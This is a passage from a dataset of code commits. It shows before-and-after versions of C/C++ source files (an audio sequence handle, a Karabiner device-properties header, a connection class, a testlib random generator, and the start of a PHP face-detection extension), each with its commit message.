aborting\n\t\t\treturn;\n\t}\n\n\t\/\/ so far everything alright and handle is there, let's keep going\n\n\tif(m_status != m_entry->m_status)\n\t{\n\t\tm_3dhandle->setRelative(m_entry->m_relative);\n\t\tm_3dhandle->setVolumeMaximum(m_entry->m_volume_max);\n\t\tm_3dhandle->setVolumeMinimum(m_entry->m_volume_min);\n\t\tm_3dhandle->setDistanceMaximum(m_entry->m_distance_max);\n\t\tm_3dhandle->setDistanceReference(m_entry->m_distance_reference);\n\t\tm_3dhandle->setAttenuation(m_entry->m_attenuation);\n\t\tm_3dhandle->setConeAngleOuter(m_entry->m_cone_angle_outer);\n\t\tm_3dhandle->setConeAngleInner(m_entry->m_cone_angle_inner);\n\t\tm_3dhandle->setConeVolumeOuter(m_entry->m_cone_volume_outer);\n\n\t\tm_status = m_entry->m_status;\n\t}\n\n\tfloat value;\n\n\tm_entry->m_volume.read(frame, &value);\n\tm_handle->setVolume(value);\n\tm_entry->m_pitch.read(frame, &value);\n\tm_handle->setPitch(value);\n\tm_entry->m_panning.read(frame, &value);\n\tSoftwareDevice::setPanning(m_handle.get(), value);\n\n\tVector3 v, v2;\n\tQuaternion q;\n\n\tm_entry->m_orientation.read(frame, q.get());\n\tm_3dhandle->setOrientation(q);\n\tm_entry->m_location.read(frame, v.get());\n\tm_3dhandle->setLocation(v);\n\tm_entry->m_location.read(frame + 1, v2.get());\n\tv2 -= v;\n\tm_3dhandle->setVelocity(v2 * fps);\n\n\tif(m_entry->m_muted)\n\t\tm_handle->setVolume(0);\n}\n\nbool SequenceHandle::seek(float position)\n{\n\tif(!m_valid)\n\t\t\/\/ sound not valid, aborting\n\t\treturn false;\n\n\tif(!updatePosition(position))\n\t\t\/\/ no handle, aborting\n\t\treturn false;\n\n\tstd::lock_guard<ILockable> lock(*m_entry);\n\tfloat seekpos = position - m_entry->m_begin;\n\tif(seekpos < 0)\n\t\tseekpos = 0;\n\tseekpos += m_entry->m_skip;\n\tm_handle->setPitch(1.0f);\n\tm_handle->seek(seekpos);\n\n\treturn true;\n}\n\nAUD_NAMESPACE_END\n<commit_msg>Catching exceptions in SequenceHandle when it tries to play a sound.<commit_after>\/*******************************************************************************\n * Copyright 2009-2013 Jörg Müller\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *   http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n ******************************************************************************\/\n\n#include \"SequenceHandle.h\"\n#include \"sequence\/SequenceEntry.h\"\n#include \"devices\/ReadDevice.h\"\n\n#include <mutex>\n\n#define KEEP_TIME 10\n\nAUD_NAMESPACE_BEGIN\n\nvoid SequenceHandle::start()\n{\n\t\/\/ we already tried to start, aborting\n\tif(!m_valid)\n\t\treturn;\n\n\t\/\/ in case the sound is playing, we need to stop first\n\tstop();\n\n\tstd::lock_guard<ILockable> lock(*m_entry);\n\n\t\/\/ let's try playing\n\tif(m_entry->m_sound.get())\n\t{\n\t\ttry\n\t\t{\n\t\t\tm_handle = m_device.play(m_entry->m_sound, true);\n\t\t\tm_3dhandle = std::dynamic_pointer_cast<I3DHandle>(m_handle);\n\t\t}\n\t\tcatch(AUD_Exception&)\n\t\t{\n\t\t\t\/\/ handle stays invalid in case we get an exception\n\t\t}\n\n\t\t\/\/ after starting we have to set the properties, so let's ensure that\n\t\tm_status--;\n\t}\n\n\t\/\/ if the sound could not be played, we invalidate\n\tm_valid = m_handle.get();\n}\n\nbool SequenceHandle::updatePosition(float position)\n{\n\tstd::lock_guard<ILockable> lock(*m_entry);\n\n\tif(m_handle.get())\n\t{\n\t\t\/\/ we currently have a handle, let's check where we are\n\t\tif(position >= m_entry->m_end)\n\t\t{\n\t\t\tif(position >= m_entry->m_end + KEEP_TIME)\n\t\t\t\t\/\/ far end, stopping\n\t\t\t\tstop();\n\t\t\telse\n\t\t\t{\n\t\t\t\t\/\/ close end, just pausing\n\t\t\t\tm_handle->pause();\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\t\telse if(position >= m_entry->m_begin)\n\t\t{\n\t\t\t\/\/ inside, resuming\n\t\t\tm_handle->resume();\n\t\t\treturn true;\n\t\t}\n\t\telse\n\t\t{\n\t\t\tif(position < m_entry->m_begin - KEEP_TIME)\n\t\t\t\t\/\/ far beginning, stopping\n\t\t\t\tstop();\n\t\t\telse\n\t\t\t{\n\t\t\t\t\/\/ close beginning, just pausing\n\t\t\t\tm_handle->pause();\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\t}\n\telse\n\t{\n\t\t\/\/ we don't have a handle, let's start if we should be playing\n\t\tif(position >= m_entry->m_begin && position <= m_entry->m_end)\n\t\t{\n\t\t\tstart();\n\t\t\treturn m_valid;\n\t\t}\n\t}\n\n\treturn false;\n}\n\nSequenceHandle::SequenceHandle(std::shared_ptr<SequenceEntry> entry, ReadDevice& device) :\n\tm_entry(entry),\n\tm_valid(true),\n\tm_status(0),\n\tm_pos_status(0),\n\tm_sound_status(0),\n\tm_device(device)\n{\n}\n\nSequenceHandle::~SequenceHandle()\n{\n\tstop();\n}\n\nint SequenceHandle::compare(std::shared_ptr<SequenceEntry> entry) const\n{\n\tif(m_entry->getID() < entry->getID())\n\t\treturn -1;\n\telse if(m_entry->getID() == entry->getID())\n\t\treturn 0;\n\treturn 1;\n}\n\nvoid SequenceHandle::stop()\n{\n\tif(m_handle.get())\n\t\tm_handle->stop();\n\tm_handle = nullptr;\n\tm_3dhandle = nullptr;\n}\n\nvoid SequenceHandle::update(float position, float frame, float fps)\n{\n\tif(m_sound_status != m_entry->m_sound_status)\n\t{\n\t\t\/\/ if a new sound has been set, it's possible to get valid again!\n\t\tm_sound_status = m_entry->m_sound_status;\n\t\tm_valid = true;\n\n\t\t\/\/ stop whatever sound has been playing\n\t\tstop();\n\n\t\t\/\/ seek starts and seeks to the correct position\n\t\tif(!seek(position))\n\t\t\t\/\/ no handle, aborting\n\t\t\treturn;\n\t}\n\telse\n\t{\n\t\tif(!m_valid)\n\t\t\t\/\/ invalid, aborting\n\t\t\treturn;\n\n\t\tif(m_handle.get())\n\t\t{\n\t\t\t\/\/ we have a handle, let's update the position\n\t\t\tif(!updatePosition(position))\n\t\t\t\t\/\/ lost handle, aborting\n\t\t\t\treturn;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t\/\/ we don't have a handle, let's see if we can start\n\t\t\tif(!seek(position))\n\t\t\t\treturn;\n\t\t}\n\t}\n\n\tstd::lock_guard<ILockable> lock(*m_entry);\n\tif(m_pos_status != m_entry->m_pos_status)\n\t{\n\t\tm_pos_status = m_entry->m_pos_status;\n\n\t\t\/\/ position changed, need to seek\n\t\tif(!seek(position))\n\t\t\t\/\/ lost handle, aborting\n\t\t\treturn;\n\t}\n\n\t\/\/ so far everything alright and handle is there, let's keep going\n\n\tif(m_status != m_entry->m_status)\n\t{\n\t\tm_3dhandle->setRelative(m_entry->m_relative);\n\t\tm_3dhandle->setVolumeMaximum(m_entry->m_volume_max);\n\t\tm_3dhandle->setVolumeMinimum(m_entry->m_volume_min);\n\t\tm_3dhandle->setDistanceMaximum(m_entry->m_distance_max);\n\t\tm_3dhandle->setDistanceReference(m_entry->m_distance_reference);\n\t\tm_3dhandle->setAttenuation(m_entry->m_attenuation);\n\t\tm_3dhandle->setConeAngleOuter(m_entry->m_cone_angle_outer);\n\t\tm_3dhandle->setConeAngleInner(m_entry->m_cone_angle_inner);\n\t\tm_3dhandle->setConeVolumeOuter(m_entry->m_cone_volume_outer);\n\n\t\tm_status = m_entry->m_status;\n\t}\n\n\tfloat value;\n\n\tm_entry->m_volume.read(frame, &value);\n\tm_handle->setVolume(value);\n\tm_entry->m_pitch.read(frame, &value);\n\tm_handle->setPitch(value);\n\tm_entry->m_panning.read(frame, &value);\n\tSoftwareDevice::setPanning(m_handle.get(), value);\n\n\tVector3 v, v2;\n\tQuaternion q;\n\n\tm_entry->m_orientation.read(frame, q.get());\n\tm_3dhandle->setOrientation(q);\n\tm_entry->m_location.read(frame, v.get());\n\tm_3dhandle->setLocation(v);\n\tm_entry->m_location.read(frame + 1, v2.get());\n\tv2 -= v;\n\tm_3dhandle->setVelocity(v2 * fps);\n\n\tif(m_entry->m_muted)\n\t\tm_handle->setVolume(0);\n}\n\nbool SequenceHandle::seek(float position)\n{\n\tif(!m_valid)\n\t\t\/\/ sound not valid, aborting\n\t\treturn false;\n\n\tif(!updatePosition(position))\n\t\t\/\/ no handle, aborting\n\t\treturn false;\n\n\tstd::lock_guard<ILockable> lock(*m_entry);\n\tfloat seekpos = position - m_entry->m_begin;\n\tif(seekpos < 0)\n\t\tseekpos = 0;\n\tseekpos += m_entry->m_skip;\n\tm_handle->setPitch(1.0f);\n\tm_handle->seek(seekpos);\n\n\treturn true;\n}\n\nAUD_NAMESPACE_END\n<|endoftext|>"}
{"text":"<commit_before>#pragma once\n\n#include \"iokit_utility.hpp\"\n#include \"json_utility.hpp\"\n#include \"types.hpp\"\n#include <optional>\n#include <pqrs\/osx\/iokit_hid_device.hpp>\n#include <pqrs\/osx\/iokit_types.hpp>\n\nnamespace krbn {\nclass device_properties final {\npublic:\n  device_properties(void) {\n  }\n\n  device_properties(device_id device_id,\n                    IOHIDDeviceRef device) {\n    device_id_ = device_id;\n\n    pqrs::osx::iokit_hid_device hid_device(device);\n\n    if (auto value = hid_device.find_vendor_id()) {\n      vendor_id_ = make_vendor_id(*value);\n    }\n    if (auto value = hid_device.find_product_id()) {\n      product_id_ = make_product_id(*value);\n    }\n    if (auto value = hid_device.find_location_id()) {\n      location_id_ = make_location_id(*value);\n    }\n    manufacturer_ = hid_device.find_manufacturer();\n    product_ = hid_device.find_product();\n    serial_number_ = hid_device.find_serial_number();\n    transport_ = hid_device.find_transport();\n    is_keyboard_ = iokit_utility::is_keyboard(device);\n    is_pointing_device_ = iokit_utility::is_pointing_device(device);\n\n    if (product_ && is_keyboard_ && is_pointing_device_) {\n      if ((*product_).find(\"Apple Internal \") != std::string::npos) {\n        if (*is_keyboard_ == true && *is_pointing_device_ == false) {\n          is_built_in_keyboard_ = true;\n        }\n        if (*is_keyboard_ == false && *is_pointing_device_ == true) {\n          is_built_in_pointing_device_ = true;\n        }\n      }\n    }\n\n    is_karabiner_virtual_hid_device_ = iokit_utility::is_karabiner_virtual_hid_device(device);\n\n    device_identifiers_ = std::make_shared<device_identifiers>(\n        vendor_id_.value_or(vendor_id(0)),\n        product_id_.value_or(product_id(0)),\n        is_keyboard_.value_or(false),\n        is_pointing_device_.value_or(false));\n  }\n\n  nlohmann::json to_json(void) const {\n    nlohmann::json json;\n\n    json[\"device_id\"] = type_safe::get(device_id_);\n\n    if (vendor_id_) {\n      json[\"vendor_id\"] = type_safe::get(*vendor_id_);\n    }\n    if (product_id_) {\n      json[\"product_id\"] = type_safe::get(*product_id_);\n    }\n    if (location_id_) {\n      json[\"location_id\"] = type_safe::get(*location_id_);\n    }\n    if (manufacturer_) {\n      json[\"manufacturer\"] = *manufacturer_;\n    }\n    if (product_) {\n      json[\"product\"] = *product_;\n    }\n    if (serial_number_) {\n      json[\"serial_number\"] = *serial_number_;\n    }\n    if (transport_) {\n      json[\"transport\"] = *transport_;\n    }\n    if (is_keyboard_) {\n      json[\"is_keyboard\"] = *is_keyboard_;\n    }\n    if (is_pointing_device_) {\n      json[\"is_pointing_device\"] = *is_pointing_device_;\n    }\n    if (is_built_in_keyboard_) {\n      json[\"is_built_in_keyboard\"] = *is_built_in_keyboard_;\n    }\n    if (is_built_in_pointing_device_) {\n      json[\"is_built_in_pointing_device\"] = *is_built_in_pointing_device_;\n    }\n    if (is_karabiner_virtual_hid_device_) {\n      json[\"is_karabiner_virtual_hid_device\"] = *is_karabiner_virtual_hid_device_;\n    }\n\n    return json;\n  }\n\n  std::optional<vendor_id> get_vendor_id(void) const {\n    return vendor_id_;\n  }\n\n  device_properties& set(vendor_id value) {\n    vendor_id_ = value;\n    return *this;\n  }\n\n  std::optional<product_id> get_product_id(void) const {\n    return product_id_;\n  }\n\n  device_properties& set(product_id value) {\n    product_id_ = value;\n    return *this;\n  }\n\n  std::optional<location_id> get_location_id(void) const {\n    return location_id_;\n  }\n\n  device_properties& set(location_id value) {\n    location_id_ = value;\n    return *this;\n  }\n\n  std::optional<std::string> get_manufacturer(void) const {\n    return manufacturer_;\n  }\n\n  device_properties& set_manufacturer(const std::string& value) {\n    manufacturer_ = value;\n    return *this;\n  }\n\n  std::optional<std::string> get_product(void) const {\n    return product_;\n  }\n\n  device_properties& set_product(const std::string& value) {\n    product_ = value;\n    return *this;\n  }\n\n  std::optional<std::string> get_serial_number(void) const {\n    return serial_number_;\n  }\n\n  device_properties& set_serial_number(const std::string& value) {\n    serial_number_ = value;\n    return *this;\n  }\n\n  std::optional<std::string> get_transport(void) const {\n    return transport_;\n  }\n\n  device_properties& set_transport(const std::string& value) {\n    transport_ = value;\n    return *this;\n  }\n\n  std::optional<device_id> get_device_id(void) const {\n    return device_id_;\n  }\n\n  device_properties& set(device_id value) {\n    device_id_ = value;\n    return *this;\n  }\n\n  std::optional<bool> get_is_keyboard(void) const {\n    return is_keyboard_;\n  }\n\n  device_properties& set_is_keyboard(bool value) {\n    is_keyboard_ = value;\n    return *this;\n  }\n\n  std::optional<bool> get_is_pointing_device(void) const {\n    return is_pointing_device_;\n  }\n\n  device_properties& set_is_pointing_device(bool value) {\n    is_pointing_device_ = value;\n    return *this;\n  }\n\n  std::optional<bool> get_is_karabiner_virtual_hid_device(void) const {\n    return is_karabiner_virtual_hid_device_;\n  }\n\n  std::shared_ptr<device_identifiers> get_device_identifiers(void) const {\n    return device_identifiers_;\n  }\n\n  bool compare(const device_properties& other) {\n    \/\/ product\n    {\n      auto p1 = product_.value_or(\"\");\n      auto p2 = other.product_.value_or(\"\");\n      if (p1 != p2) {\n        return p1 < p2;\n      }\n    }\n\n    \/\/ manufacturer\n    {\n      auto m1 = manufacturer_.value_or(\"\");\n      auto m2 = other.manufacturer_.value_or(\"\");\n      if (m1 != m2) {\n        return m1 < m2;\n      }\n    }\n\n    \/\/ is_keyboard\n    {\n      auto k1 = is_keyboard_.value_or(false);\n      auto k2 = other.is_keyboard_.value_or(false);\n      if (k1 != k2) {\n        return k1;\n      }\n    }\n\n    \/\/ is_pointing_device\n    {\n      auto p1 = is_pointing_device_.value_or(false);\n      auto p2 = other.is_pointing_device_.value_or(false);\n      if (p1 != p2) {\n        return p1;\n      }\n    }\n\n    \/\/ device_id\n    {\n      auto r1 = device_id_;\n      auto r2 = other.device_id_;\n      if (r1 != r2) {\n        return r1 < r2;\n      }\n    }\n\n    return false;\n  }\n\n  bool operator==(const device_properties& other) const {\n    return device_id_ == other.device_id_ &&\n           vendor_id_ == other.vendor_id_ &&\n           product_id_ == other.product_id_ &&\n           location_id_ == other.location_id_ &&\n           manufacturer_ == other.manufacturer_ &&\n           product_ == other.product_ &&\n           serial_number_ == other.serial_number_ &&\n           transport_ == other.transport_ &&\n           is_keyboard_ == other.is_keyboard_ &&\n           is_pointing_device_ == other.is_pointing_device_;\n  }\n\nprivate:\n  device_id device_id_;\n  std::optional<vendor_id> vendor_id_;\n  std::optional<product_id> product_id_;\n  std::optional<location_id> location_id_;\n  std::optional<std::string> manufacturer_;\n  std::optional<std::string> product_;\n  std::optional<std::string> serial_number_;\n  std::optional<std::string> transport_;\n  std::optional<bool> is_keyboard_;\n  std::optional<bool> is_pointing_device_;\n  std::optional<bool> is_built_in_keyboard_;\n  std::optional<bool> is_built_in_pointing_device_;\n  std::optional<bool> is_karabiner_virtual_hid_device_;\n  std::shared_ptr<device_identifiers> device_identifiers_;\n};\n\ninline void to_json(nlohmann::json& json, const device_properties& device_properties) {\n  json = device_properties.to_json();\n}\n\ninline size_t hash_value(const device_properties& value) {\n  \/\/ We can treat device_id_ as the unique value of device_properties.\n  if (auto id = value.get_device_id()) {\n    return std::hash<device_id>{}(*id);\n  }\n  return 0;\n}\n} \/\/ namespace krbn\n<commit_msg>add get_is_built_in_keyboard,get_is_built_in_pointing_device<commit_after>#pragma once\n\n#include \"iokit_utility.hpp\"\n#include \"json_utility.hpp\"\n#include \"types.hpp\"\n#include <optional>\n#include <pqrs\/osx\/iokit_hid_device.hpp>\n#include <pqrs\/osx\/iokit_types.hpp>\n\nnamespace krbn {\nclass device_properties final {\npublic:\n  device_properties(void) {\n  }\n\n  device_properties(device_id device_id,\n                    IOHIDDeviceRef device) {\n    device_id_ = device_id;\n\n    pqrs::osx::iokit_hid_device hid_device(device);\n\n    if (auto value = hid_device.find_vendor_id()) {\n      vendor_id_ = make_vendor_id(*value);\n    }\n    if (auto value = hid_device.find_product_id()) {\n      product_id_ = make_product_id(*value);\n    }\n    if (auto value = hid_device.find_location_id()) {\n      location_id_ = make_location_id(*value);\n    }\n    manufacturer_ = hid_device.find_manufacturer();\n    product_ = hid_device.find_product();\n    serial_number_ = hid_device.find_serial_number();\n    transport_ = hid_device.find_transport();\n    is_keyboard_ = iokit_utility::is_keyboard(device);\n    is_pointing_device_ = iokit_utility::is_pointing_device(device);\n\n    if (product_ && is_keyboard_ && is_pointing_device_) {\n      if ((*product_).find(\"Apple Internal \") != std::string::npos) {\n        if (*is_keyboard_ == true && *is_pointing_device_ == false) {\n          is_built_in_keyboard_ = true;\n        }\n        if (*is_keyboard_ == false && *is_pointing_device_ == true) {\n          is_built_in_pointing_device_ = true;\n        }\n      }\n    }\n\n    is_karabiner_virtual_hid_device_ = iokit_utility::is_karabiner_virtual_hid_device(device);\n\n    device_identifiers_ = std::make_shared<device_identifiers>(\n        vendor_id_.value_or(vendor_id(0)),\n        product_id_.value_or(product_id(0)),\n        is_keyboard_.value_or(false),\n        is_pointing_device_.value_or(false));\n  }\n\n  nlohmann::json to_json(void) const {\n    nlohmann::json json;\n\n    json[\"device_id\"] = type_safe::get(device_id_);\n\n    if (vendor_id_) {\n      json[\"vendor_id\"] = type_safe::get(*vendor_id_);\n    }\n    if (product_id_) {\n      json[\"product_id\"] = type_safe::get(*product_id_);\n    }\n    if (location_id_) {\n      json[\"location_id\"] = type_safe::get(*location_id_);\n    }\n    if (manufacturer_) {\n      json[\"manufacturer\"] = *manufacturer_;\n    }\n    if (product_) {\n      json[\"product\"] = *product_;\n    }\n    if (serial_number_) {\n      json[\"serial_number\"] = *serial_number_;\n    }\n    if (transport_) {\n      json[\"transport\"] = *transport_;\n    }\n    if (is_keyboard_) {\n      json[\"is_keyboard\"] = *is_keyboard_;\n    }\n    if (is_pointing_device_) {\n      json[\"is_pointing_device\"] = *is_pointing_device_;\n    }\n    if (is_built_in_keyboard_) {\n      json[\"is_built_in_keyboard\"] = *is_built_in_keyboard_;\n    }\n    if (is_built_in_pointing_device_) {\n      json[\"is_built_in_pointing_device\"] = *is_built_in_pointing_device_;\n    }\n    if (is_karabiner_virtual_hid_device_) {\n      json[\"is_karabiner_virtual_hid_device\"] = *is_karabiner_virtual_hid_device_;\n    }\n\n    return json;\n  }\n\n  std::optional<vendor_id> get_vendor_id(void) const {\n    return vendor_id_;\n  }\n\n  device_properties& set(vendor_id value) {\n    vendor_id_ = value;\n    return *this;\n  }\n\n  std::optional<product_id> get_product_id(void) const {\n    return product_id_;\n  }\n\n  device_properties& set(product_id value) {\n    product_id_ = value;\n    return *this;\n  }\n\n  std::optional<location_id> get_location_id(void) const {\n    return location_id_;\n  }\n\n  device_properties& set(location_id value) {\n    location_id_ = value;\n    return *this;\n  }\n\n  std::optional<std::string> get_manufacturer(void) const {\n    return manufacturer_;\n  }\n\n  device_properties& set_manufacturer(const std::string& value) {\n    manufacturer_ = value;\n    return *this;\n  }\n\n  std::optional<std::string> get_product(void) const {\n    return product_;\n  }\n\n  device_properties& set_product(const std::string& value) {\n    product_ = value;\n    return *this;\n  }\n\n  std::optional<std::string> get_serial_number(void) const {\n    return serial_number_;\n  }\n\n  device_properties& set_serial_number(const std::string& value) {\n    serial_number_ = value;\n    return *this;\n  }\n\n  std::optional<std::string> get_transport(void) const {\n    return transport_;\n  }\n\n  device_properties& set_transport(const std::string& value) {\n    transport_ = value;\n    return *this;\n  }\n\n  std::optional<device_id> get_device_id(void) const {\n    return device_id_;\n  }\n\n  device_properties& set(device_id value) {\n    device_id_ = value;\n    return *this;\n  }\n\n  std::optional<bool> get_is_keyboard(void) const {\n    return is_keyboard_;\n  }\n\n  device_properties& set_is_keyboard(bool value) {\n    is_keyboard_ = value;\n    return *this;\n  }\n\n  std::optional<bool> get_is_pointing_device(void) const {\n    return is_pointing_device_;\n  }\n\n  device_properties& set_is_pointing_device(bool value) {\n    is_pointing_device_ = value;\n    return *this;\n  }\n\n  std::optional<bool> get_is_built_in_keyboard(void) const {\n    return is_built_in_keyboard_;\n  }\n\n  std::optional<bool> get_is_built_in_pointing_device(void) const {\n    return is_built_in_pointing_device_;\n  }\n\n  std::optional<bool> get_is_karabiner_virtual_hid_device(void) const {\n    return is_karabiner_virtual_hid_device_;\n  }\n\n  std::shared_ptr<device_identifiers> get_device_identifiers(void) const {\n    return device_identifiers_;\n  }\n\n  bool compare(const device_properties& other) {\n    \/\/ product\n    {\n      auto p1 = product_.value_or(\"\");\n      auto p2 = other.product_.value_or(\"\");\n      if (p1 != p2) {\n        return p1 < p2;\n      }\n    }\n\n    \/\/ manufacturer\n    {\n      auto m1 = manufacturer_.value_or(\"\");\n      auto m2 = other.manufacturer_.value_or(\"\");\n      if (m1 != m2) {\n        return m1 < m2;\n      }\n    }\n\n    \/\/ is_keyboard\n    {\n      auto k1 = is_keyboard_.value_or(false);\n      auto k2 = other.is_keyboard_.value_or(false);\n      if (k1 != k2) {\n        return k1;\n      }\n    }\n\n    \/\/ is_pointing_device\n    {\n      auto p1 = is_pointing_device_.value_or(false);\n      auto p2 = other.is_pointing_device_.value_or(false);\n      if (p1 != p2) {\n        return p1;\n      }\n    }\n\n    \/\/ device_id\n    {\n      auto r1 = device_id_;\n      auto r2 = other.device_id_;\n      if (r1 != r2) {\n        return r1 < r2;\n      }\n    }\n\n    return false;\n  }\n\n  bool operator==(const device_properties& other) const {\n    return device_id_ == other.device_id_ &&\n           vendor_id_ == other.vendor_id_ &&\n           product_id_ == other.product_id_ &&\n           location_id_ == other.location_id_ &&\n           manufacturer_ == other.manufacturer_ &&\n           product_ == other.product_ &&\n           serial_number_ == other.serial_number_ &&\n           transport_ == other.transport_ &&\n           is_keyboard_ == other.is_keyboard_ &&\n           is_pointing_device_ == other.is_pointing_device_;\n  }\n\nprivate:\n  device_id device_id_;\n  std::optional<vendor_id> vendor_id_;\n  std::optional<product_id> product_id_;\n  std::optional<location_id> location_id_;\n  std::optional<std::string> manufacturer_;\n  std::optional<std::string> product_;\n  std::optional<std::string> serial_number_;\n  std::optional<std::string> transport_;\n  std::optional<bool> is_keyboard_;\n  std::optional<bool> is_pointing_device_;\n  std::optional<bool> is_built_in_keyboard_;\n  std::optional<bool> is_built_in_pointing_device_;\n  std::optional<bool> is_karabiner_virtual_hid_device_;\n  std::shared_ptr<device_identifiers> device_identifiers_;\n};\n\ninline void to_json(nlohmann::json& json, const device_properties& device_properties) {\n  json = device_properties.to_json();\n}\n\ninline size_t hash_value(const device_properties& value) {\n  \/\/ We can treat device_id_ as the unique value of device_properties.\n  if (auto id = value.get_device_id()) {\n    return std::hash<device_id>{}(*id);\n  }\n  return 0;\n}\n} \/\/ namespace krbn\n<|endoftext|>"}
{"text":"<commit_before>#include \"stdafx.h\"\n#include \"Connection.h\"\n#include \"..\/libutils\/Buffer.h\"\n\nCConnection::CConnection(void)\n{\n\tm_Timeout = 0;\n\tm_AutoDelete = false;\n\tm_Connected = false;\n}\n\nCConnection::~CConnection(void)\n{\n\tCLog::Default()->Printf(0, \"~CConnection(%p)\", this);\n}\n\nvoid CConnection::SetTimeout(int Timeout)\n{\n\tm_Timeout = Timeout;\n}\n\nvoid CConnection::Reconnect()\n{\n\tDisconnect();\n\tConnect(m_ConnectString);\n}\n\nvoid CConnection::SendBuffer(CBuffer &buffer)\n{\n\tSend(buffer.getBuffer(), buffer.getSize());\n}\n\n<commit_msg>less logging<commit_after>#include \"stdafx.h\"\n#include \"Connection.h\"\n#include \"..\/libutils\/Buffer.h\"\n\nCConnection::CConnection(void)\n{\n\tm_Timeout = 0;\n\tm_AutoDelete = false;\n\tm_Connected = false;\n\tCLog::Default()->Printf(5, \"CConnection(%p)\", this);\n}\n\nCConnection::~CConnection(void)\n{\n\tCLog::Default()->Printf(5, \"~CConnection(%p)\", this);\n}\n\nvoid CConnection::SetTimeout(int Timeout)\n{\n\tm_Timeout = Timeout;\n}\n\nvoid CConnection::Reconnect()\n{\n\tDisconnect();\n\tConnect(m_ConnectString);\n}\n\nvoid CConnection::SendBuffer(CBuffer &buffer)\n{\n\tSend(buffer.getBuffer(), buffer.getSize());\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/*\r\n * Outputs weighted random number between 1 and 10^6, inclusive.\r\n * To generate different values, call \"nwgen.exe weight\". \r\n *\r\n * If parameter \"weight\" \r\n * is equals to 0 than used uniformly distributed random.\r\n *\r\n * If parameter \"weight\" > 0 then you can think about it as code like this:\r\n * <code>\r\n * result = rnd.next(1, 1000000);\r\n * for (int i = 0; i < weight; i++)\r\n *     result = max(result, rnd.next(1, 1000000);\r\n * <\/code> \r\n * \r\n * If parameter \"weight\" < 0 then you can think about it as code like this:\r\n * <code>\r\n * result = rnd.next(1, 1000000);\r\n * for (int i = 0; i < -weight; i++)\r\n *     result = min(result, rnd.next(1, 1000000);\r\n * <\/code> \r\n *\r\n * It is typical behaviour of \"wnext\" methods to use this strategy to \r\n * generate off-center random distribution.\r\n *\/\r\n\r\n#include \"testlib.h\"\r\n#include <iostream>\r\n\r\nusing namespace std;\r\n\r\nint main(int argc, char* argv[])\r\n{\r\n    registerGen(argc, argv, 1);\r\n\r\n    cout << rnd.wnext(1, 1000000, atoi(argv[1])) << endl;\r\n\r\n    return 0;\r\n}\r\n<commit_msg>Update iwgen.cpp<commit_after>\/*\r\n * Outputs weighted random number between 1 and 10^6, inclusive.\r\n * To generate different values, call \"nwgen.exe weight\". \r\n *\r\n * If parameter \"weight\" \r\n * is equals to 0 than used uniformly distributed random.\r\n *\r\n * If parameter \"weight\" > 0 then you can think about it as code like this:\r\n * <code>\r\n * result = rnd.next(1, 1000000);\r\n * for (int i = 0; i < weight; i++)\r\n *     result = max(result, rnd.next(1, 1000000));\r\n * <\/code> \r\n * \r\n * If parameter \"weight\" < 0 then you can think about it as code like this:\r\n * <code>\r\n * result = rnd.next(1, 1000000);\r\n * for (int i = 0; i < -weight; i++)\r\n *     result = min(result, rnd.next(1, 1000000));\r\n * <\/code> \r\n *\r\n * It is typical behaviour of \"wnext\" methods to use this strategy to \r\n * generate off-center random distribution.\r\n *\/\r\n\r\n#include \"testlib.h\"\r\n#include <iostream>\r\n\r\nusing namespace std;\r\n\r\nint main(int argc, char* argv[])\r\n{\r\n    registerGen(argc, argv, 1);\r\n\r\n    cout << rnd.wnext(1, 1000000, atoi(argv[1])) << endl;\r\n\r\n    return 0;\r\n}\r\n<|endoftext|>"}
{"text":"<commit_before>\/*\n  +----------------------------------------------------------------------+\n  | PHP Version 7                                                        |\n  +----------------------------------------------------------------------+\n  | Copyright (c) 1997-2018 The PHP Group                                |\n  +----------------------------------------------------------------------+\n  | This source file is subject to version 3.01 of the PHP license,      |\n  | that is bundled with this package in the file LICENSE, and is        |\n  | available through the world-wide-web at the following url:           |\n  | http:\/\/www.php.net\/license\/3_01.txt                                  |\n  | If you did not receive a copy of the PHP license and are unable to   |\n  | obtain it through the world-wide-web, please send a note to          |\n  | license@php.net so we can mail you a copy immediately.               |\n  +----------------------------------------------------------------------+\n  | Author: Robert Eisele (https:\/\/www.xarg.org\/)                        |\n  +----------------------------------------------------------------------+\n *\/\n\n#ifdef HAVE_CONFIG_H\n#include \"config.h\"\n#endif\n\nextern \"C\" {\n#include \"php.h\"\n}\n#include \"ext\/standard\/info.h\"\n#include \"php_facedetect.h\"\n\n#include <opencv2\/core\/core.hpp>\n#include <opencv2\/highgui\/highgui.hpp>\n#include <opencv2\/imgproc\/imgproc.hpp>\n#include <opencv2\/objdetect\/objdetect.hpp>\n\n\nusing namespace cv;\n\n\/* True global resources - no need for thread safety here *\/\nstatic int le_facedetect;\n\nCascadeClassifier cascade;\n\nstatic void php_facedetect(INTERNAL_FUNCTION_PARAMETERS, int return_type) {\n\n#ifdef ZEND_ENGINE_3\n    zval array;\n#else\n    zval *array;\n#endif\n    zval *pArray;\n\n    char *file = NULL, *casc = NULL;\n    long flen, clen;\n\n    Mat img;\n    Mat gray;\n    std::vector<Rect> faces;\n\n    if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, \"s|s\", &file, &flen, &casc, &clen) == FAILURE) {\n        RETURN_NULL();\n    }\n\n    if (access(file, R_OK) == -1) {\n        php_error_docref(NULL TSRMLS_CC, E_WARNING, \"Image file is missing or could not be read.\\n\");\n        RETURN_FALSE;\n    }\n\n    if (casc && access(casc, R_OK) == -1) {\n        php_error_docref(NULL TSRMLS_CC, E_WARNING, \"Haar-cascade file is missing or could not be read.\\n\");\n        RETURN_FALSE;\n    }\n\n    if (casc && !cascade.load(casc)) {\n        php_error_docref(NULL TSRMLS_CC, E_WARNING, \"Haar-cascade file could not be loaded.\\n\");\n        RETURN_FALSE;\n    }\n\n    if (!casc && cascade.empty()) {\n        php_error_docref(NULL TSRMLS_CC, E_WARNING, \"No Haar-cascade file 